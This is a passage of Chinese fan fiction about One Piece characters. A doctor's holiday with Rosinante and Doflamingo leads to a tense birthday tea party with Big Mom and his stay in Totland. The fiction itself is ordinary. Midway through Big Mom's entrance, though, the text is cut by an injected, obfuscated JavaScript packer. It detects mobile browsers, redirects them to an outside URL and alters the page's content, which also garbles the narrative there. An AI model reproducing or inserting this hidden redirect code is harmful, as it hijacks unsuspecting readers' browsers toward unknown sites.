所以可以有他在他们俩身边缓冲几天对罗西南迪来说很好,就像是那天在酒吧里一样。 他们走在街上,聊一些有用没用的话题,大多数还是跟工作有关,尤其是伊甸鲸计划。 茵弗说他欠多弗朗明哥的漂亮大房子会建在奥比塔拉,多弗呋呋呋地笑说我会去的。 聊工作没什么不好,毕竟茵弗也不会和多弗像跟他一样聊太多细腻的话题,他们俩关系不是那样的。但是他总觉得大概还缺点什么,让他们的关系以契机重新闭合。 罗西南迪给自己点了一根烟,小心不要点燃易燃的羽毛:“四海分部你想好选址了吗?” 茵弗摇摇头:“走一步看一步吧,四海位置上更好选一点,很多岛屿都可以。新世界...哇!” 远处的喷泉广场在此时扬起各种造型的水花,茵弗欢呼了一声,抛下两人跑过去,丢掉鞋袜往里一跳。其中不少小孩子都卷着裤腿拿着水枪在水流中追逐嬉戏。 被他们“误伤”到他也不在乎,也有几个小鬼头看到有一个大人来玩很好奇地凑过来。他嘻嘻笑着同意加入他们的游戏,用手扬起浅浅的水。在被突然袭来的水打到脸上时,只是捋开刘海露出额头,借巧力“还击”。薄薄的浪在打到震惊害怕的孩子们身上前一刻被霸气震散,留下一大片的彩虹。 “好厉害,大哥哥!” “再来一次吧!” “哈哈哈好呀!跑远一点——!” 被丢下的兄弟走来,在一旁看他在阳光和笑声里玩耍。两个人都没开口,也没动,直到注意到他们的茵弗说他们好慢,然后伸出双手,邀请他们和他一起走入新的故事。 不知道是谁先拉住了谁,总之故事如下:将军兄弟罗西南迪和多弗朗明哥,带着一群举着水枪的小鬼头士兵,大战来剥夺他们水资源的大魔王茵弗玛利。 很多人都围过来,从一开始的观看慢慢变成加入。青年的壮年的,甚至还有一位将长裙卷在腿边的老婆婆。在罗西南迪第二次因为互相泼着水的行人们的误伤滑倒在地时,他想,这里缺点音乐。 然后他听到了拨弦的声音。 明明在喧闹中那么细微的声响,可罗西南迪听到了,他爬起抬头,看到茵弗玛利在那短短一瞬闪身避开多弗的丝线,裹着霸气的手划过它们,宛如拨弄琴弦。 哦对,他练会泽法老师的柔了。 无形的气绕在刀鞘上,大魔王卷起大片的水向上扬去,给这不知名的小镇带来第一场短暂的春雨。 “我赢了哦。” “哈 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——他就像浅金色的一股鎏金,一点点将这茶杯修补。不再和从前一样,永远也不会再一样,但是—— “哈哈哈哈!被抓住啦!走啦!请您们吃饭!” ——但是—— “谢谢你。” “嗯?请吃饭吗?不必客气!” 浑身湿透的几人肯定不会去饭店,最终决定找一间民宿住自己做饭。久违地想起杰克逊号在暴风雨过后,芋头会做热汤,于是也就定下今晚的菜单。 茵弗找不到他丢在广场边的鞋袜,只能挂在罗西南迪的背上让他背回去。被水淋湿的羽毛大衣已经很沉,不过强壮的小米果大概是不在意他又额外增加重量的,走得很稳,都没有摔跤。 “晚上也很适合吃浓汤,又暖和又安抚精神。” “是吗?” “嗯嗯,很好吃的,您们喜欢配面包还是里面放一点面条?或者我用土豆做一些软面团子放进去?” “呋呋呋呋土豆,没吃过呢。” “那就土豆吧。” “好哟。” 风吹过贴在身上的布料,茵弗打了个寒颤,可是羽毛大衣也是湿的,并不暖和。他把冰凉的鼻尖贴在罗西南迪的后脖颈上哼唧。 “冷,渡鸦先生,您的羽毛凉凉的。” 软咩咩很乖很乖地蹲下让他下来,然后等他钻到怀里抱着,希望隔着湿透的衬衫能给他一点点体温的热气。 多弗朗明哥:“我带着你先飞回去?” 茵弗:“不要,飞高更冷了。您们腿那么长,走快点呗?” 多弗朗明哥:“呋呋呋好吧,你冷吗罗西?” 罗西南迪摇摇头:“还好,你呢?” 多弗朗明哥:“我不像某人一样怕冷。” 怕冷的某人第一个冲进浴室,哗啦啦的水声后裹着浴巾嗖地钻到房间里。不想被冷到一点的样子很好玩。 等罗西南迪也暖好身子出来,就看到茵弗已经在做饭了,多弗坐在桌边跷着脚打电话虫。大概意思就是告诉维尔高他们这几天不一起吃饭,然后让他们要么回船上住要么自己订旅店。 看来最近茵弗都要做饭。自己倒是在波比上吃习惯了,不过多弗的话可能还是又做了什么交易吧,毕竟本来只说请这一顿来着。 茵弗确实最近都要做饭。不过他不讨厌,虽然他懒得洗碗。所以和多弗朗明哥的交易就是,做饭可以,他得负责洗碗洗锅。少主大人爽快同意。 芋头的菜谱他当然还记得,虽然加入土豆丸子是他后来改良的,不过贾巴他们很喜欢。两只大鸟不知道这不是他的菜谱,不过要是多弗朗明哥那张欠嘴敢说什么不好吃他肯定揍他一顿。说他的饭不好吃可以,芋头的不行。即使罗杰海贼团的厨师每次做肉排都有点难嚼,那也是不许别人说的。 再呆几天必须得回去了,艾斯他们还在无人岛等他。虽然昨天打电话虫的时候说什么大蜥蜴很好吃玩得很开心的样子。 茵弗在盖上锅盖后将一旁煮好的土豆捞出开始压土豆泥,想到这里叹了口气。 “怎么了茵弗?要帮忙吗?” “哦...麻烦您量半杯面粉给我。” 回去之后又要忙了啊,虽然是和多弗朗明哥的交易才来“度假”。但是居然感觉还不错,明明在波比上也是带着孩子们旅行来着? 听到他的嘀咕罗西南迪笑了笑:“因为平时你也在忙嘛,睡觉都要雷利管着。” 茵弗:“也是呢...不过也没办法,不能停下啊,偶尔短暂地度个假也不错。” 搓土豆丸子这种好玩的事情怎么能让他独占?茵弗把多弗朗明哥从椅子上赶起来让他来和他们一起玩。结果没想到意外的细腻呢这家伙,居然比罗西南迪弄得还好。 他递给两个人一人一个叉子,教他们在上面压出花纹。 “呋呋呋可是这样不就不是丸子了?” “土豆花饼团?” “还是叫丸子吧。” 本来就不大的厨房塞下他们两个真的是过于局促,没事就要挤到对方,这儿碰一下那碰一下。不过茵弗站在旁边指挥,看他俩也不介意的样子。感觉他们突然就没有刚见面时两个人隔着几步模仿隔离病人的样子了,真神奇。 “哇——压碎了!” “呋呋呋笨蛋啊罗西。” “碎了您就碎着吃吧。” “重新揉起来不就好了?反正是面团。” “诶?也对诶。” 温暖的汤,热乎乎的团子,炖的软烂的肉还有带着香甜味道的蔬菜。仍然是两兄弟面对面坐着,茵弗坐在另一侧。 火烈鸟没说不好吃,还行,今天疯玩了那么久他已经有点累了,不想再打一架。 “呋呋呋当然好吃,医生,菜谱给我一份吧?” “好,全世界都觉得它好吃也是应该的。” 芋头先生,您的汤很好,我有好好吃。 “吃不下了...糟糕。” “哦没关系,分给我吧,你今天吃了很多呢。” 茵弗感激地拍拍罗西南迪的肩膀。有时候还是容易高估自己还在恢复的胃口,又不想浪费。他揉揉眼睛,在去准备休息和去散个步什么的之间挣扎了一下,嘴欠的火烈鸟嘲笑他这就困了的时候决定不能输,要用生龙活虎的态度去散步。 屋子里只剩下还在吃饭的兄弟二人。仍然是温暖的汤,口感很好的团子。罗西南迪对今天的发展很满意,可是却突然想到多弗将他带到船上时,那群手下争先恐后地说着什么小心背叛这类的。对多弗来说,什么是背叛他呢?如果他做坏事,自己上报给海军?可是多弗已经知道他是卧底了。 多弗朗明哥听到他的疑问后放下了喝汤的勺子:“我不担心,罗西。” 罗西南迪:“为什么?” 多弗朗明哥伸出手背,指了指上面的某个位置——牙印,鎏金,联系着兄弟二人的共同点。 “与其说是相信你,不如说是在相信他。我想你也是。” 罗西南迪清咳了一声,点了点头。 又沉默了一会儿,多弗朗明哥突然问道:“你当时也跪下了呋呋呋?” “我没有!!他、他——” “呋呋呋呋这一定是个好故事。” 茵弗:“什么好故事?” 多弗朗明哥:“哦,你回来了啊,医生,我是说罗西当时——” 罗西南迪:“什么都没有!!” 62.茶话会邀请 过于短暂的假期后,茵弗回到香波地和泰格汇合,然后就是一整年不间断地忙碌。 要做的事情太多,时间太少。四处游荡的奇迹游医要在伟大航路以及四海建设完全属于他的医院,邀请世界各地的医生与学徒加入。不论身份国籍种族,奇医、模仿他的游医、黑医、都无所谓。只要遵守他的规矩,他们都是自由的。有人为提出的好待遇而来,有人为能与世界各地的名医交流学习而来,有人只是为他而来。 这里有优秀的医生,大量的绿植,高处有彩色的加工厂。愈发变大的白色建筑周围落座如泡泡般晶莹的温室,干净的公园。 曾经的居民们在带着雀斑的美丽女性指引下将这里变成了旅游地,甚至贵族们也会来这里看一看那位游医的医之城。检查身体,购买来自四海与鱼人岛独特的保养与美容品,然后在那位高贵又谦逊的人的笑脸里晕乎乎地留下一大笔赞助金。 在这里看到海贼、杀手、赏金猎人都不必意外,毕竟是个人就有需要求医的时候。但是这里是安全的,因为这里也是海军的一大交通港,更别提那些武装着各种先进武器的护卫队,还有更可怕的,来自血染红帆的那艘船的怪物在这里定居。只要闹事他们便不会有机会再离开。 被抓去做工,被海军压走,瞬间被抹了脖子,等待他们的命运有很多。 不必再在自己的家中等待行踪不定的奇迹,如果有需要,就去那里,去找【茵弗玛利】。 等奥比塔拉医之城的雏形出现,四海的分部也要做起计划了,茵弗一边装裱巴基和香克斯的通缉令一边安排着出航的事宜。 “可是我想去埃鲁巴夫。” 雷利叹了口气,他把当年和罗杰的说的话给这小子也说了一遍。世界上不止只有埃鲁巴夫那一棵亚当树,他没必要去巨人国。结果他俩回答都差不多。 “我缺钱,雷利先生,它们就像流水,不,瀑布一样从我指尖流走。” 这倒是事实。茵弗玛利现在支撑着总部与分部的建设,还有海列车的工程。红十,黑曼巴,奥比塔拉还有来自四海的收入只是勉勉强强而已。虽然有索尔贝等王国的资助,还有海军那边的利润,等伊甸鲸开始建造肯定又是一大笔支出。 “露娜茜茜雅宫都分给我她家的天上金了。可是她再花几亿贝利买普通奴隶回去她父亲会惩罚她的。这招快不好用了。” 雷利:“去别的地方找亚当树不就好了,也不用花钱。” 茵弗玛利:“可是我想去埃鲁巴夫。再说了,有亚当树的地方是能让我随便切的?要么找不到,要么被看守的死严。我答应知更鸟带她去见她的萨乌罗。” 也许罗宾可以说服萨乌罗让他帮忙,允许茵弗切一点他们的亚当树。 “而且我要去格林比特,听说那里有小人族,很擅长种植,我要看看能不能雇佣一大批回来照顾原料场。” 雷利不想他自己跑太远,特别是去新世界。现在他比之前任何时候都要“抢手”。但是他得留在这边。 “别担心,雷利先生。正好又到了马尔科先生回家的时间,我们一起走。” 茵弗打开门,噼里啪啦摔进来一堆偷听的臭小子。 “哇——路飞没事吧!” “尼嘻嘻嘻,萨博好重!” 他抱起被哥哥们压在最低下的黑发小鬼头,在他软乎乎的脸上亲了一口。黑曜石一样的大眼睛笑得眯起来,大概之前吃肉了,油乎乎的小嘴撅起来也碰碰他的脸。 哦天呐真的是一如既往地有这孩子整个心情都会变得美妙。 “小姨!带我们嘛——我们也要去什么小人国冒险!” 是巨人国和小人族啦,真会撒娇啊。所以说小时候的龙不可能有这么可爱吧。 “不行哦,亲爱的,等小姨去转一圈确定安全了再说。” “不嘛———” 听着耳朵里的撒娇,好笑地用脚戳戳腿边的小芝麻包和小土豆。两个人都一脸期待地看着路飞,等着他的撒娇能起作用。笑死,对他俩当然好用。 “过一阵沃尔夫先生就要带着基德基拉他们回来了,你们不想见他们吗?” “那是谁?” “小时候的玩伴,不过当时你太小啦,记不得了。” 茵弗抱着他再次检查自己的行李,安慰地拥抱一下雷利后提着包去找马尔科。不死鸟看他身后黏着委屈的小狗豆丁们觉得好笑,在艾斯头上揉了一把。 “要不都带着得了yoi,你去忙的时候让他们在莫比迪克上玩。” 路飞:“不要!我们要去小人国!” 萨奇:“莫比迪克是大鲸鱼船,胡子老爹还有月亮胡子。” 路飞:“哇——小姨!去胡子鲸鱼吧!” 萨博一看他犹豫的表情觉得有戏,踢了自己的兄弟一脚后也开始眨着蓝汪汪的大眼睛保证。 “我会看着他们的!你去忙,我们会很乖不乱跑。” 艾斯收到信号举起一只小拳头约定道:“我也是!我是大哥!交给我好了!” 好吧,一个小猴子撒娇没用。三个一起他就没办法了。虽然这几个凑在一起就没有消停时候,马尔科真是勇敢啊,要把这乱七八糟的三兄弟释放在自己毫不知情的兄弟们身上。 “照顾好他们啊。” “我明白yoi” 奇迹游医的大蜗牛波比,在夜深人静时悄无声息的离港。因为这次带着孩子们,靠近白胡子的领域时他用一艘小船送他们去莫比迪克。 白胡子看起来状态不错,孩子们又多了些。虽然咕啦啦啦啦大笑的男人看着他身边的一群说你也一样。 这次没送恶魔果实,但是带了大量的药酒,再次拜托他们照顾好孩子们。萨奇已经是这里的熟客了,带着兴奋的三兄弟去参观。茵弗带着罗宾和白胡子一起去船长室交谈。 “艾斯那小子,是罗杰的儿子吧。” “是的。” “咕啦啦啦啦当年那家伙和我说他的儿子未来一定会成为王的,我还说他哪来的儿子。居然用刀给儿子命名。” “他其实长得像妈妈呢,不过确实很像吧?特别是笑起来的时候。” “啊,是个大海的孩子啊。” “我确实也不抱希望他会选择成为花匠了。不过他没必要当什么王的,我的家人只要能自由的活着就好。” “咕啦啦啦啦!” 马尔科不知道老爹他们在聊什么,笑得那么开心,总之他进来的时候看他们聊的融洽。 “哦,马尔科先生,那么接下来罗宾就拜托了。” “怎么样我的儿子,你做好打算了?” 雷利担心的没错,茵弗玛利现在是无与伦比的抢手货,尤其是对更加危险无序的新世界来说。各个势力都跃跃欲试地等着拉拢他,或者毁掉他。 带着罗宾太危险了,但约定就是约定,马尔科会带着她先去艾尔巴夫见萨乌罗,等他到那边的时候再去接她。会晚一些,但是至少他进入新世界的风波也会过去。 “嗯,飞过去虽然快,但是太显眼了yoi,我毕竟也是海上皇帝手下的大海贼。开快船像往常一样出任务会更好一点。” 茵弗点点头:“我知道您们信任自己的家人,但是请不要揭露她和艾斯的身份。” 现在还太早了,连艾斯自己其实也不算完全知道。露玖在一点点地给他展开,随着年龄增长他能更好地思考。身边有那么多爱着他的人,目前来看效果还不错。 再次摸摸白胡子的胡子后,茵弗去看了以藏,像往常一样给他带了护肤品。 “谢谢你,小阁下。” “不客气,难得是我亲自送来呢。” 两个人嘴里客气,实质上的姿势却是茵弗侧搂着以藏亲昵地贴着,小狗一样蹭着脑袋嗅他身上的火药味与清香。 “和之国怎么样。” “凯多最近和御田大人形成对峙,暂时主公不想要我们参与进去。” “又是什么武士精神?” 以藏拍拍他的脸,没有在意他的调侃。 他不能久留,去看了一下三兄弟在萨奇莫比上的舱房里住下,摸摸他们打地铺的褥子够不够厚。几个孩子嘻嘻哈哈地一边整理行李一边吃给他们带的零食,萨奇拍着胸脯保证会让好弟弟们好好吃蔬菜,家人就是要互相照顾。 想要做让家人永远健康的小厨子啊。 茵弗刮刮他眼角的疤,不用再蹲下,弯腰就可以亲到他垂垂的眼角。萨奇也到开始长个子的年龄了,长得很快,估计以后也不会矮。自己虽然还在生长的年龄,但是也许是最长身体的几年吃得不好的缘故,感觉已经卡在两米左右很久了。 倒是无所谓,能拥抱就好。 松开怀里的小苗们,离开白鲸鱼,他孤身走入新世界危险的浪潮之中。打着求医的名头找他干什么的都有,这里的海贼更多,更危险。没有关系,茵弗不介意在烂人身上创造伤口,再治好伤口,收取对方所有的财产当诊费,留下一艘艘失去船帆的活人船。 没带罗宾果然是对的,人多眼杂被抓住把柄上报给世界政府就麻烦了,他还没准备好。丢掉手里摩尔冈斯起得标题花哨的骗人报纸,明白这是那只信天翁在催促他既然来了新世界就赶紧弄个大新闻。这很简单,甚至不需要他主动做什么。没到格林比特,奇迹游医就提供了让他满意的报道。 “很久不见了,王子殿下。” “奇迹游医茵弗玛利,妈妈邀请你参加茶话会。” 如果不去就送亲近的人的头什么的...真是海贼啊。说是做客其实就是被押送吧,毕竟派卡塔库栗亲自来了,连波比都不给坐,被关在甜点样式船只的船舱里。 打不过,摸一把就知道打不过,甚至比上次见面更强了。 茵弗抱着胳膊看面前的大高个,还是老样子,一身皮和尖刺,脖子上戴着半遮面的围巾。看起来比当年见面时气息稳定了不少,也是,上次见面都快十年了吧。 “让我过去,王子殿下,既然是玲玲女士的生日,我必须准备礼物。还有,别偷看我们的未来。” 夏洛特·卡塔库栗盯着面前的小子,长高了不少,和他比仍然是矮的。不过和多年前那个小巷里一样,两个人面对面,气势上并不输给他,即使二人都心知肚明他打不过自己。 既然对方已经同意妈妈的邀请,那么依着他来也行,他也确实还有事情想要询问。 “我会盯着你。” “真是荣幸。” 因为泰格和罗西南迪也是波比的住民,所以即使这位新客人身材高大,也不会在室内过于局促。茵弗先走到仓储区,无所谓地带着卡塔库栗走到专门放战利品的房间,开始在里面挑挑拣拣。 “您母亲有什么喜好?抱歉除了甜食和收集物种之外我没太了解过。虽然海贼的话送宝藏很好,但是生日礼物还是想贴心一点。” 卡塔库栗挑眉,倒不是被房间里的珍宝而感到惊讶,而是茵弗玛利的态度。明明是被威胁带走,反而却像真的要去参加新朋友的生日会一样自然。 “宝箱。” 茵弗点点头,随便拿过一个在某个海贼团搜刮到的宝箱打开,把里面的金币财宝都倒了出去。 “海贼的话都会为未知的宝藏感到热血呢,喜欢惊喜感我能理解。” 他抱着空箱子环顾四周,感觉都没什么意思。海上皇帝不缺他这点东西,但是自己送的礼物必须要认真考虑。惊喜,但是不能激起贪婪。 做点甜点吗?普通甜点不是他拿手的东西,不会比得上蛋糕岛的厨师们,他叹了口气在房间中央坐下,有些苦恼地揉眼睛。 卡塔库栗等了一会儿发现他没什么动静,有些犹豫地开口:“咳、你记得之前说的手术...” 坐在地上的人仰过头看向他,然后仍然抱着空箱子起身走过来,带他出了房间向上层走去。 “哦,是的,有关伤疤。您妹妹恢复的如何?” 祛疤膏效果很好,但是确实是过于旧的伤痕了,那一罐用完后淡了很多,已经让布蕾足够欣喜。卡塔库栗记得当时他说“还没有大批量生产”,可是后来也没找到哪里售卖,也没找到当年那个突然出现在小麦岛的医生,他只知道“小黑”这个不像是名字的称呼。 再后来就是伟大航路出现奇迹游医,他也认出来对方就是“小黑”。只是一直行踪不定,又在四海呆了几年,他身为妈妈的将星也不能突然就随便跑出去。 鱼人岛的红十开始向陆地售卖高效的祛疤膏之后他才又有机会给妹妹买一些。只不过又过了好几年,确实如当时茵弗玛利所说,没办法完全消除。 “原来如此,确实就算我当年说过找我做手术优惠,您的身份也让您很难找上我呢。能说还好您母亲对我足够感兴趣吗?我还能及时帮得上忙。” 卡塔库栗脚步一顿,目光扫过深色手腕上隐约露出来的炸弹手铐。通过手触发某种能力的情报很多人都知晓,妈妈特意让他带上一副作为茵弗玛利接受邀请后必须展露的“诚意”。 “如果您母亲没一下子就杀了我,我愿意帮您妹妹。诊费的话...”茵弗走到厨房卷起袖子,笑了一声,用玩笑的语气说:“还是二十万贝利?或者我再挑个首饰,不过您现在没当年戴那么多了呢。” 他在...做蛋糕?卡塔库栗靠在墙边点了点头,意识到对方背对着他看不见后开口“好的...我会联系布蕾。”他顿了顿,听到炸弹手环轻碰在盆子上发出清脆的响,“...抱歉、不过只要你配合,妈妈不会为难你的。” 茵弗没回答,只是翻着一本手写的菜谱往盆子里打鸡蛋。 “可以来帮忙吗?为您母亲做蛋糕。顺便给我讲讲茶话会都要注意什么吧。” 其实最主要的只有两点,不要忤逆BIGMOM惹她生气,不要不尊敬Mother(修女)。 “修女?” 卡塔库栗拿着一个虽然偏小,但是意外趁手的打蛋器有些生疏地搅着鸡蛋,缓缓地开口。 怎么说呢...有点奇怪的...微妙的...与自己决定做蛋糕之间有相似之处。一位母亲对“母亲”的依恋吗?茵弗眯了眯眼,在抵达蛋糕岛时,从衣柜里翻出那件他不怎么穿的衣服。 踏上这片空气中都充满甜香的土地时,他突然想起自己曾经对这里的好奇。海贼的童话,无比具象化的实质体现。他来得很晚,毕竟他是突然进入新世界的,托特兰得到消息派出卡塔库栗再回来,堪堪卡在时间点上而已。 看到不少熟人,比如地下的帝王们,那只兴奋地对他拍照的信天翁,长大了的商人少年,还有假笑的火烈鸟。 把他送到卡塔库栗就去忙了,迎接的是被赋予了灵魂碎片的霍米兹和糖果大臣佩罗斯佩罗。茵弗下意识上手摸了一下他吐在外面的舌头。 “抱歉,先生,医生的好奇。” “库库库没关系,客人请享受茶话会吧佩罗琳。” 在两个桌子样式的霍米兹蹦蹦跳跳地过来说客人可以把礼物放在他们身上,被他以不易碰撞为由拒绝了。漂亮的长腿族妹妹提供的饮料里,选择了【暴晒也没有融化的寒冰】。这种喜欢奇怪东西的感觉真的是和自己很像,虽然他没有什么都要榨汁的癖好。 听了一耳朵吵吵闹闹的霍米糍的歌,他走到帝王们面前礼貌打招呼,在他们或幸灾乐祸或审视的目光里不留痕迹地扫过乌米特旁边的杰克逊。很好,一副和他不熟的样子,代替着他的养父和他们交流,看来离吞掉海运也很快了。 理所当然地被火烈鸟拉到一边,看着对方额角的青筋,举起自己手中口感清爽的饮料问要不要尝尝。 “呋呋呋呋不用。” “她派了卡塔库栗先生去''接我''”茵弗晃晃手腕上的手环,看面前的人嘴角耸拉下来,“别担心先生,还没到我去地狱的时候呢。” 争抢着被喝的红茶绿茶,被咬一口就幸福地唱歌的饼干——有点奇怪了。反正都是要被吃下去,为什么要特意赋予“灵魂”? 是“活的”,能听见。快乐的歌声和所听到的苦痛揉在他的脑子里,有些反胃。茵弗把勉强咬了一口的饼干放到身旁多弗朗明哥的盘子里。 “不合客人口味吗佩罗琳?” “很好吃,不过您能给我块糖吗?” 吃第二块糖的时候今天的主人终于到场了,踩着霍米兹的庞大女人,快乐地在歌声里玛玛玛地笑着。 茵弗打量着她,在众人提到修女今天也很开心的时候将视线放到长桌上的相框上。穿着修女服,抽着烟的老婆婆。耳边是各种或粗犷或清丽的声音,但是不约而同都有着一股类似的腔调。 “你今天也很漂亮呢玲玲”“特意准备宝箱给你呢”“好开心,来一起开茶话会吧!” “我太幸福啦,谢谢大家!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998842|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哄小孩? “哦!我们的新客人也给我带了礼物吗玛玛玛?也是宝箱呢!” 茵弗笑着将一直抱在怀里的大箱子放在桌上,请她现在就亲自打开。 “第一次见您,不知您的喜好...” 夏洛特·玲玲打开对她来说很小的宝箱,轻轻捏起其中软软的点心,有些惊讶地发现是一块蛋糕。很朴素的样子,简单的水果奶油夹心,没有什么漂亮的装裱,大概做好有一会儿了,虽然箱子里有冰袋,奶油仍然微微融化。她的客人继续开口。 “...不过听说是您的生日,在这一天做甜点,然后大家围在一起吃蛋糕,是曾经在孤儿院照顾我的修女会做的。” 粉发女人僵住了,仔细打量自己叫儿子去请来的奇迹游医,他的打扮和气质上的确...她目光扫过对面的相框。孤儿院的... “修女...?” 整个茶话会都静了,茵弗能感觉到自己身旁的佩罗斯佩罗的僵硬。摩尔冈斯已经摸出他的拍照电话虫对准这边,等着BIGMOM下一步的反应。 “抱歉,不是您的Mother,但是这个蛋糕您的儿子有帮忙,我们过【家人的生日】时不就是这样吗?” 茵弗端详着主位上的女人,看她从不知名的回忆中回神,巨大的眼睛转而看向他。他温柔地笑笑,抬手示意她请用。 “生日快乐,Sister。” “玛玛玛玛玛玛!!” 夏洛特玲玲大笑着吃掉自己指腹上那块小小的蛋糕,意犹未尽地舔了一下自己的手指。在长面包端上今天的主食时勾勾手,赋予巨大的泡芙塔里的一颗泡芙灵魂,跳到茵弗面前的盘子里。 “没错!就是这样的!应该是这样的!今天是我的生日,一起吃焦糖泡芙吧,Brother!” 茵弗礼貌地感谢,对着对他来说过大的,活生生的泡芙感到苦手。客人们其实一般都是吃小号的同种类型的甜点,谁知道效果这么好的。 本来就是不知道该送什么,想送一个惊喜感强的,又不太贵重的。听卡塔库栗说BIGMOM很重视失踪的修女才特意翻出神父袍来穿。只是想强调自己也和她类似有过修女妈妈,并且这个蛋糕卡塔库栗参与了而已,好像误打误撞地踩对什么了呢。 自己曾经孤儿院里修女是因为没有那么多钱给孩子们过生日,同一个月出生的孩子们就一起在月初庆祝一次。有可以余出来的钱就去买一些点心,没有的话就简单地做一个夹心果酱的蛋糕。 她的修女也是这样给孩子们过生日的吗? 他拿起刀叉,勉强地切下一块,小心不要碰到它。好恶心,能让BIGMOM把灵魂收回吗?普通的泡芙的话他吃起来可能没这么难受。 “呋呋呋呋真是了不得啊医生。” 茵弗转头看向多弗朗明哥,墨镜挡着看不清神色,不过他已经很会读他的表情了。现在这个弧度的笑就是在说“然后你准备怎么办?” “我也很意外,先生,走一步看一步吧。”他挖起一大团生奶油,在那颗泡芙欢快的催促声里瑟缩了一下。别碰它,别碰它就好了。 “呋呋呋你没事吧,可以吃吗?” 茵弗:“您有手套吗?算了,您的手套我也戴不了...我小心一点吧。” 它不痛,茵弗,你没听见它痛,它开心着呢。这些灵魂都是从人身上抽出来的吧,我在吃谁呢? 啪嚓,裹着焦糖的酥皮被切开后里面就是绵软香甜的面团,仿佛是骨头里包裹着柔嫩的髓。 别想了,茵弗,它是泡芙。 BIGMOM的话语声让他回神,努力压下翻涌的不适。 “玛玛玛玛你喜欢吗,Brother?” “很好,Sister玲玲,不过对我来说有些大了,也许您知道,孤儿院里我们不喜欢浪费。” BIGMOM快乐地指挥身旁的佩罗斯佩罗替客人切开泡芙,留下一块,剩下的放回自己的盘子里,她不会和别人分享。 “我的女儿们里你有喜欢的吗,奇迹游医,成为真正的家人加入我吧!” 果然啊...而且称呼变成奇迹游医了。 不过、如果她母亲是位修女的话,那么【血缘】对她来说和【家人】之间的联系应该没有那么死板才对?不管是教会还是孤儿院,应该都是如此。 哪里来的这种血缘才是一切的观念? 他又吃了一口仍然很多,甚至被切得只剩一块还在“活着”的泡芙,放下了叉子。 “您的女儿们很好,不过恕我拒绝。” 摩尔冈斯兴奋地叫唤和咔嚓咔嚓声未免太大了一点。 “玛玛玛玛玛玛...虽然留不下血脉...不过你毕竟是人类。儿子们呢?” 他看向她隐隐露出来的威压,霸王色霸气在脑子里噼啪一下闪起一丝火花。 “您的儿子们也好,不过我目前没有结婚的打算,Sister玲玲。” “...你拒绝我?” 实质性地霸气袭来,多弗朗明哥紧紧抓住他的小臂。唔...没有罗杰的强啊,不过也没用全力吧。霸王色对自己是有影响的,但是好像和一般人比作用没有那么大,可能是之前治病时需要罗杰不停地在他身上用他那不讲理的霸王色带来的奇怪后遗症——习惯了。 当时自己很倔地顶着他的霸王色也要听下去,所以罗杰下手还是挺狠的。虽然自己没有霸王色,不过罗杰说什么就是【意志】与【意志】的抗衡。雷利说就是比赛谁更倔强吧,罗杰把意志加在他身上,他学着忽视它当看不见听不着的臭小子感。 突然要他和陌生人结婚这种事情他觉得自己还是可以倔一倔的。不过她的这种突变的情绪也很...微妙啊。 他将一只手轻轻搭在多弗朗明哥的手腕上安抚着,对着愤怒的女王温和开口。 “...神希望我们能和解,言因您为我友而我为友,此成兄弟姐妹,母与父,邻人相伴而爱,在光明下为大家。” ...大家。 金色的头发和黑袍白衣的虚影在夏洛特·玲玲眼前略过,''要和大伙儿好好相处哦,玲玲!以后大家都是朋友了! ——你去哪了,Mother? 她迷茫地打量着眼前同样金发黑袍的人。茵弗同样审视她眼中的混沌——【孩子】,下一刻一片猩红的泥泞遮盖住了一切——【海贼】。 托特兰的女王当然不会随便杀掉这个让她想起修女的人,所以指了指仍然抓着他的多弗朗明哥。巨大的的头颅凶狠地盯着他,直面食人巨兽之感随着压迫力压在他身上。 “【Stay】or【Sacrifice】。” 灵魂咒语,却没有魂魄飘出可以抓。茵弗看到一个残暴的海贼女王,一个得不到想要的东西就大闹的孩子,这不令他恐惧。 多弗朗明哥暴起的一刻他反手卸掉他抬起的那只胳膊,捂住他的嘴巴,将他摁倒在地上。久违了啊,他对着墨镜后的深红双眼笑了笑,然后抬起头看向这片海的皇帝之一。 “我都不想选,亲爱的Sister,不过我愿意留在这里一段时间,朋友之间,好好相处吧?” 折中,人质,大概就是这样了。茵弗没管大笑的女王,扫了一眼激动地在手里的本子上写写画画的信天翁,将多弗朗明哥的胳膊安回去。 “呋呋呋...你急着去地狱吗,医生?” “我说了,还不到时间,您也还不到时间。” 他拉起他坐回位置上,茶话会继续下去,BIGMOM又开始像个幸福的孩子一样庆祝自己的生日,好像刚刚的一切都如她的美梦一般虚幻。 他又切了一块泡芙放到嘴里,即使因为之前的咒文它已经失去灵魂了,那种恶心的感觉仍然挥之不去。 “结束后立马离开这里,堂吉诃德,她再用您威胁我一次我真的就不得不和她的女儿或者儿子结婚了。” 多弗朗明哥没回话,只是切走了他面前的一大块泡芙。 “摩尔冈斯先生大概又会写得很夸张吧,您给扶桑花他们那边传个话,让他们看到报纸也别担心。知更鸟和菠萝去''亚当''了,告诉白鲸这个消息,让包括她在内的小小们也别担心。” “...呋呋呋呋...你打算怎么办。” “正好这边还有个需要做祛疤手术的患者,我先当个医生吧。” 63.滞留托特兰 卡塔库栗因为想要茵弗玛利看一看布蕾的伤疤,主动接下了这段时间“招待”他的任务。回到他的船上,还没联系布蕾,身旁的人就跑到卫生间,传来呕吐的声音。 他拿镜子的手顿住了,转而轻轻敲门。门内的人没有听到,他忙着跟自己说话。 那是饼干,那是泡芙,茵弗玛利。 你鼻腔里不是血腥味,那是你的幻觉,就像它不可能是腐烂的鱼腥。 身体不受控地痉挛着,他咳出那些奶油和酥皮的混合物。一遍遍告诉自己那些只是甜点,那些只是物件,你没有听到它们的痛苦。 生理性泪水模糊视线,他不确定自己到底吐出来的是什么了。在尖叫的血肉组织吗?白色的是骨髓吗?刚出生,未出生的婴儿吗? 你还活着,多弗朗明哥还活着。他们的头颅没有装在粉嫩的匣子里被呈递到你眼前。 停下来,弱小的茵弗玛利。外面有人在等你。 